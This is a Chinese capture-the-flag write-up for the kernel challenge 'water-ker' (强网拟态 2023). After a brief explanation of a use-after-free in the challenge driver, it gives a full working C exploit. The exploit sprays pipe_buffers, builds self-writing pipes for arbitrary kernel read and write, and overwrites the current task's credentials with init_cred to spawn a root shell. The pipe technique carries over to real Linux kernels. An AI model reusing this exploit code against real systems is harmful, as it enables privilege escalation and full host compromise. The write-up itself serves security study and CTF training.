[pipe-自写管道] 强网拟态2023-water-ker

程序分析

保护当然都开了, 题目给了一次增加, 释放, 修改一字节堆块的能力, 这里释放堆块后没有将其指针置空从而导致了 UAF.

[pipe-自写管道] 强网拟态2023-water-ker_第1张图片

漏洞利用

这里的堆块大小为 512 字节并是 SLAB_ACCOUNT, 所以可以直接利用管道去构造自写管道从而构造任意读写系统, 详细见大佬博客:【CTF.0x08】D^ 3CTF2023 d3kcache 出题手记 - arttnba3's blog

exp 如下:

#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 


size_t kernel_base = 0xffffffff81000000, kernel_offset = 0;
size_t page_offset_base = 0xffff888000000000, vmemmap_base = 0xffffea0000000000;
size_t init_task, init_nsproxy, init_cred;

size_t direct_map_addr_to_page_addr(size_t direct_map_addr)
{
    size_t page_count;

    page_count = ((direct_map_addr & (~0xfff)) - page_offset_base) / 0x1000;

    return vmemmap_base + page_count * 0x40;
}

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

struct page;
struct pipe_inode_info;
struct pipe_buf_operations;

/* read start from len to offset, write start from offset */
struct pipe_buffer {
        struct page *page;
        unsigned int offset, len;
        const struct pipe_buf_operations *ops;
        unsigned int flags;
        unsigned long private;
};

struct pipe_buf_operations {
        int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);
        void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
        int (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);
        int (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};

int fd;
struct argg {
        char* buf;
};

void add(char* buf)
{
        struct argg arg = { .buf = buf };
        ioctl(fd, 0x20, &arg);
}

void dele(char* buf)
{
        struct argg arg = { .buf = buf };
        ioctl(fd, 0x30, &arg);
}

void edit(char* buf)
{
        struct argg arg = { .buf = buf };
        ioctl(fd, 0x50, &arg);
}

#define PIPE_SPRAY_NUM 200
#define SND_PIPE_BUF_SZ 96
#define TRD_PIPE_BUF_SZ 192
int orig_idx;
int victim_idx;
int pipe_fd[PIPE_SPRAY_NUM][2];
struct pipe_buffer evil_2nd_buf, evil_3rd_buf, evil_4th_buf;
int self_4th_pipe_idx = -1;
int self_2nd_pipe_idx = -1;
int self_3rd_pipe_idx = -1;
char temp_zero_buf[0x1000] = {'\0'};

void arbitrary_read_by_pipe(struct page *page_to_read, void *dst)
{
    evil_2nd_buf.offset = 0;
    evil_2nd_buf.len = 0x1ff8;
    evil_2nd_buf.page = page_to_read;

    write(pipe_fd[self_3rd_pipe_idx][1], &evil_4th_buf, sizeof(evil_4th_buf));

    write(pipe_fd[self_4th_pipe_idx][1], &evil_2nd_buf, sizeof(evil_2nd_buf));
    write(pipe_fd[self_4th_pipe_idx][1],
          temp_zero_buf,
          TRD_PIPE_BUF_SZ - sizeof(evil_2nd_buf));

    write(pipe_fd[self_4th_pipe_idx][1], &evil_3rd_buf, sizeof(evil_3rd_buf));

    read(pipe_fd[self_2nd_pipe_idx][0], dst, 0xfff);
}

void arbitrary_write_by_pipe(struct page *page_to_write, void *src, size_t len)
{
    evil_2nd_buf.page = page_to_write;
    evil_2nd_buf.offset = 0;
    evil_2nd_buf.len = 0;

    write(pipe_fd[self_3rd_pipe_idx][1], &evil_4th_buf, sizeof(evil_4th_buf));

    write(pipe_fd[self_4th_pipe_idx][1], &evil_2nd_buf, sizeof(evil_2nd_buf));
    write(pipe_fd[self_4th_pipe_idx][1],
          temp_zero_buf,
          TRD_PIPE_BUF_SZ - sizeof(evil_2nd_buf));

    write(pipe_fd[self_4th_pipe_idx][1], &evil_3rd_buf, sizeof(evil_3rd_buf));

    write(pipe_fd[self_2nd_pipe_idx][1], src, len);
}


int main(int argc, char** argv, char** envp)
{

        save_status();
        bind_core(0);

        fd = open("/dev/water", O_RDWR);
        if (fd < 0) err_exit("open /dev/water");

        char * buf = malloc(0x3000);
        char target[16] = { 0 };
        size_t target_addr;
        memset(buf, 'A', 0x1000);
        strcpy(target, "XiaozaYaPwner");
        if (prctl(PR_SET_NAME, target, 0, 0, 0) != 0)
        {
                err_exit("cannot set name");
        }

        add(buf);
        dele(buf);

        puts("[+] Spary pipe_buffer");
        for (int i = 0; i < PIPE_SPRAY_NUM; i++)
        {
                if (pipe(pipe_fd[i]) < 0)
                {
                        printf("[X] failed to alloc %d pipe\n", i);
                        err_exit("Alloc Pipe");
                }
        }

        puts("[+] Shrink pipe_buffer to 512B");
        for (int i = 0; i < PIPE_SPRAY_NUM; i++)
        {
                if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 8) < 0)
                {
                        printf("[X] failed to fcntl %d pipe\n", i);
                        err_exit("Fcntl Pipe");
                }
        }


        puts("[+] Wirte TAG to pipe");
        for (int i = 0; i < PIPE_SPRAY_NUM; i++)
        {
                write(pipe_fd[i][1], "XiaozaYa", 8);
                write(pipe_fd[i][1], &i, sizeof(int));
                write(pipe_fd[i][1], &i, sizeof(int));
                write(pipe_fd[i][1], &i, sizeof(int));
                write(pipe_fd[i][1], "AAAAAAAA", 8);
                write(pipe_fd[i][1], "BBBBBBBB", 8);
        }

        buf[0] = '\x00';
        edit(buf);

        puts("[+] Read pipe to check victim pipe idx");
        orig_idx = -1;
        victim_idx = -1;
        for (int  i = 0; i < PIPE_SPRAY_NUM; i++)
        {
                char tag[0x10];
                int nr;
                memset(tag, 0, sizeof(tag));
                read(pipe_fd[i][0], tag, 8);
                read(pipe_fd[i][0], &nr, sizeof(int));
                if (!strcmp(tag, "XiaozaYa") && nr != i)
                {
                        orig_idx = nr;
                        victim_idx = i;
                        printf("\033[32m\033[1m[+] Found victim: \033[0m%d "
                        "\033[32m\033[1m, orig: \033[0m%d\n\n",
                       victim_idx, orig_idx);
                        //break;
                }
        }

        if (orig_idx == -1 || victim_idx == -1)
        {
                err_exit("UAF ERROR");
        }

        int snd_orig_idx = -1;
        int snd_victim_idx = -1;
        struct pipe_buffer info_pipe_buf;
        puts("[+] Snd pipe");
        size_t snd_pipe_sz = 0x1000 * (SND_PIPE_BUF_SZ / sizeof(struct pipe_buffer));
        memset(buf, 0, sizeof(buf));
        write(pipe_fd[victim_idx][1], buf, SND_PIPE_BUF_SZ * 2 - 24 - 3 * sizeof(int));
        puts("[+]  free original pipe");
        close(pipe_fd[orig_idx][0]);
        close(pipe_fd[orig_idx][1]);
        puts("[+]  fcntl to set the pipe_buffer on victim page");
        for (int i = 0; i < PIPE_SPRAY_NUM; i++)
        {
                if (i == orig_idx || i == victim_idx)
                {
                        continue;
                }

                if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, snd_pipe_sz) < 0)
                {
                        printf("[X] failed to fcntl %d pipe at snd pipe\n", i);
                        err_exit("Fcntl Pipe");

                }
        }

        read(pipe_fd[victim_idx][0], buf, SND_PIPE_BUF_SZ - 8 - sizeof(int));
        read(pipe_fd[victim_idx][0], &info_pipe_buf, sizeof(info_pipe_buf));
        printf("\033[34m\033[1m[?] info_pipe_buf->page: \033[0m%p\n"
        "\033[34m\033[1m[?] info_pipe_buf->ops: \033[0m%p\n",
        info_pipe_buf.page, info_pipe_buf.ops);

        if ((size_t)info_pipe_buf.page < 0xffff000000000000 || (size_t)info_pipe_buf.ops < 0xffffffff81000000)
        {
                err_exit("FAILED to re-hit victim page!");
        }

        puts("\033[32m\033[1m[+] Successfully to hit the UAF page!\033[0m");
        printf("\033[32m\033[1m[+] Got page leak:\033[0m %p\n", info_pipe_buf.page);

        puts("[+]  construct a second-level uaf pipe page");
        info_pipe_buf.page = (struct page *)((size_t)info_pipe_buf.page + 0x40);
        write(pipe_fd[victim_idx][1], &info_pipe_buf, sizeof(info_pipe_buf));
        for (int i = 0; i < PIPE_SPRAY_NUM; i++)
        {
                //char tag[0x10] = { 0 };
                int nr;
                if (i == orig_idx || i == victim_idx)
                {
                        continue;
                }

                //read(pipe_fd[i][0], tag, 8);
                read(pipe_fd[i][0], &nr, sizeof(int));
        //      printf("idx: %#x\n", nr);
                //if (!strcmp(tag, "XiaozaYa") && i != nr)
                if (i < PIPE_SPRAY_NUM && i != nr)

                {
                        snd_orig_idx = nr;
                        snd_victim_idx = i;
                        printf("\033[32m\033[1m[+] Found second-level victim: \033[0m%d "
                        "\033[32m\033[1m, orig: \033[0m%d\n",
                        snd_victim_idx, snd_orig_idx);
                        break;
                }
        }

        if (snd_orig_idx == -1 || snd_victim_idx == -1)
        {
                err_exit("FAILED to corrupt second-level pipe_buffer!");
        }


        size_t trd_pipe_sz = 0x1000 * (TRD_PIPE_BUF_SZ / sizeof(struct pipe_buffer));
        struct pipe_buffer evil_pipe_buf;
        struct page *page_ptr;

        memset(buf, 0, sizeof(buf));

        write(pipe_fd[snd_victim_idx][1], buf, TRD_PIPE_BUF_SZ - 24 - 3 * sizeof(int));

        puts("[*] free second-level original pipe...");
        close(pipe_fd[snd_orig_idx][0]);
        close(pipe_fd[snd_orig_idx][1]);

        puts("[*] fcntl() to set the pipe_buffer on second-level victim page...");
        for (int i = 0; i < PIPE_SPRAY_NUM; i++)
        {
            if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx)
            {
                continue;
            }

            if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, trd_pipe_sz) < 0)
            {
                printf("[x] failed to resize %d pipe!\n", i);
                err_exit("FAILED to re-alloc pipe_buffer!");
            }
        }

        puts("[*] hijacking the 2nd pipe_buffer on page to itself...");
        evil_pipe_buf.page = info_pipe_buf.page;
        evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
        evil_pipe_buf.len = TRD_PIPE_BUF_SZ;
        evil_pipe_buf.ops = info_pipe_buf.ops;
        evil_pipe_buf.flags = info_pipe_buf.flags;
        evil_pipe_buf.private = info_pipe_buf.private;

        write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(evil_pipe_buf));

        for (int i = 0; i < PIPE_SPRAY_NUM; i++)
        {
            if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx)
            {
                continue;
            }

            read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));
            if (page_ptr == evil_pipe_buf.page)
            {
                self_2nd_pipe_idx = i;
                printf("\033[32m\033[1m[+] Found self-writing pipe: \033[0m%d\n",
                       self_2nd_pipe_idx);
                break;
            }
        }

        if (self_2nd_pipe_idx == -1)
        {
            err_exit("FAILED to build a self-writing pipe!");
        }

        puts("[*] hijacking the 3rd pipe_buffer on page to itself...");
        evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
        evil_pipe_buf.len = TRD_PIPE_BUF_SZ;

        write(pipe_fd[snd_victim_idx][1], buf, TRD_PIPE_BUF_SZ - sizeof(evil_pipe_buf));
        write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(evil_pipe_buf));

        for (int i = 0; i < PIPE_SPRAY_NUM; i++)
        {
            if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx || i == self_2nd_pipe_idx)
            {
                continue;
            }

            read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));
            if (page_ptr == evil_pipe_buf.page)
            {
                self_3rd_pipe_idx = i;
                printf("\033[32m\033[1m[+] Found another self-writing pipe:\033[0m"
                       "%d\n",
                       self_3rd_pipe_idx);
                break;
            }
        }

        if (self_3rd_pipe_idx == -1)
        {
            err_exit("FAILED to build a self-writing pipe!");
        }

        puts("[*] hijacking the 4th pipe_buffer on page to itself...");
        evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
        evil_pipe_buf.len = TRD_PIPE_BUF_SZ;

        write(pipe_fd[snd_victim_idx][1], buf, TRD_PIPE_BUF_SZ - sizeof(evil_pipe_buf));
        write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(evil_pipe_buf));

        for (int i = 0; i < PIPE_SPRAY_NUM; i++)
        {
            if (i == orig_idx || i == victim_idx || i == snd_orig_idx || i == snd_victim_idx || i == self_2nd_pipe_idx || i == self_3rd_pipe_idx)
            {
                continue;
            }

            read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));
            if (page_ptr == evil_pipe_buf.page)
            {
                self_4th_pipe_idx = i;
                printf("\033[32m\033[1m[+] Found another self-writing pipe:\033[0m"
                       "%d\n",
                       self_4th_pipe_idx);
                break;
            }
        }

        if (self_4th_pipe_idx == -1)
        {
            err_exit("FAILED to build a self-writing pipe!");
        }


        puts("[*] Setting up kernel arbitrary read & write...");
        memcpy(&evil_2nd_buf, &info_pipe_buf, sizeof(evil_2nd_buf));
        memcpy(&evil_3rd_buf, &info_pipe_buf, sizeof(evil_3rd_buf));
        memcpy(&evil_4th_buf, &info_pipe_buf, sizeof(evil_4th_buf));

        evil_2nd_buf.offset = 0;
        evil_2nd_buf.len = 0xff0;

        evil_3rd_buf.offset = TRD_PIPE_BUF_SZ * 3;
        evil_3rd_buf.len = 0;
        write(pipe_fd[self_4th_pipe_idx][1], &evil_3rd_buf, sizeof(evil_3rd_buf));

        evil_4th_buf.offset = TRD_PIPE_BUF_SZ;
        evil_4th_buf.len = 0;


        vmemmap_base = (size_t)info_pipe_buf.page & 0xfffffffff0000000;
        for (;;)
        {
            arbitrary_read_by_pipe((struct page *)(vmemmap_base + 157 * 0x40), buf);

            if (*(uint64_t *)buf > 0xffffffff81000000 && ((*(uint64_t *)buf & 0xfff) == 0x0e0))
            {
                kernel_base = *(uint64_t *)buf - 0x0e0;
                kernel_offset = kernel_base - 0xffffffff81000000;
                printf("\033[32m\033[1m[+] Found kernel base: \033[0m0x%lx\n"
                       "\033[32m\033[1m[+] Kernel offset: \033[0m0x%lx\n",
                       kernel_base, kernel_offset);
                break;
            }

            vmemmap_base -= 0x10000000;
        }
        printf("\033[32m\033[1m[+] vmemmap_base:\033[0m 0x%lx\n\n", vmemmap_base);

        uint64_t parent_task, current_task;
        puts("[*] Seeking task_struct in memory...");

        uint64_t *comm_addr = 0;
        uint64_t *point_buf = malloc(0x1000);

        for (int i = 0; 1; i++)
        {
            arbitrary_read_by_pipe((struct page *)(vmemmap_base + i * 0x40), point_buf);

            comm_addr = memmem(point_buf, 0xf00, target, 0xd);
            if (comm_addr && (comm_addr[-2] > 0xffff888000000000) && (comm_addr[-3] > 0xffff888000000000) && (comm_addr[-57] > 0xffff888000000000) && (comm_addr[-56] > 0xffff888000)
            {

                parent_task = comm_addr[-60];

                current_task = comm_addr[-54] - 2528;
                page_offset_base = (comm_addr[-54] & 0xfffffffffffff000) - i * 0x1000;
                page_offset_base &= 0xfffffffff0000000;

                printf("\033[32m\033[1m[+] Found task_struct on page: \033[0m%p\n",
                       (struct page *)(vmemmap_base + i * 0x40));
                printf("\033[32m\033[1m[+] page_offset_base: \033[0m0x%lx\n",
                       page_offset_base);
                printf("\033[34m\033[1m[*] current task_struct's addr: \033[0m"
                       "0x%lx\n\n",
                       current_task);
                break;
            }
        }

        size_t *tsk_buf;
        uint64_t init_task = 0xffffffff83011200+kernel_offset;
        uint64_t init_cred = 0xffffffff8308c620+kernel_offset;
        uint64_t init_nsproxy = 0xffffffff8308c140+kernel_offset;

        printf("\033[32m\033[1m[+] Found init_cred: \033[0m0x%lx\n", init_cred);
        printf("\033[32m\033[1m[+] Found init_cred: \033[0m0x%lx\n", init_cred);
        printf("\033[32m\033[1m[+] Found init_nsproxy:\033[0m0x%lx\n", init_nsproxy);

        puts("[*] Escalating ROOT privilege now...");

        size_t current_task_page = direct_map_addr_to_page_addr(current_task);

        arbitrary_read_by_pipe((struct page *)current_task_page, buf);
        arbitrary_read_by_pipe((struct page *)(current_task_page + 0x40), &buf[512 * 8]);

        tsk_buf = (size_t *)((size_t)buf + (current_task & 0xfff));
        tsk_buf[367] = init_cred;
        tsk_buf[368] = init_cred;
        tsk_buf[381] = init_nsproxy;

        arbitrary_write_by_pipe((struct page *)current_task_page, buf, 0xff0);
        arbitrary_write_by_pipe((struct page *)(current_task_page + 0x40),
                                    &buf[512 * 8], 0xff0);

        puts("[+] Done.\n");
        puts("[*] checking for root...");

        get_root_shell();

        puts("[+] END!");
        return 0;
}

效果如下:

[pipe-自写管道] 强网拟态2023-water-ker_第2张图片

你可能感兴趣的:(kernel-pwn,kernel,pwn)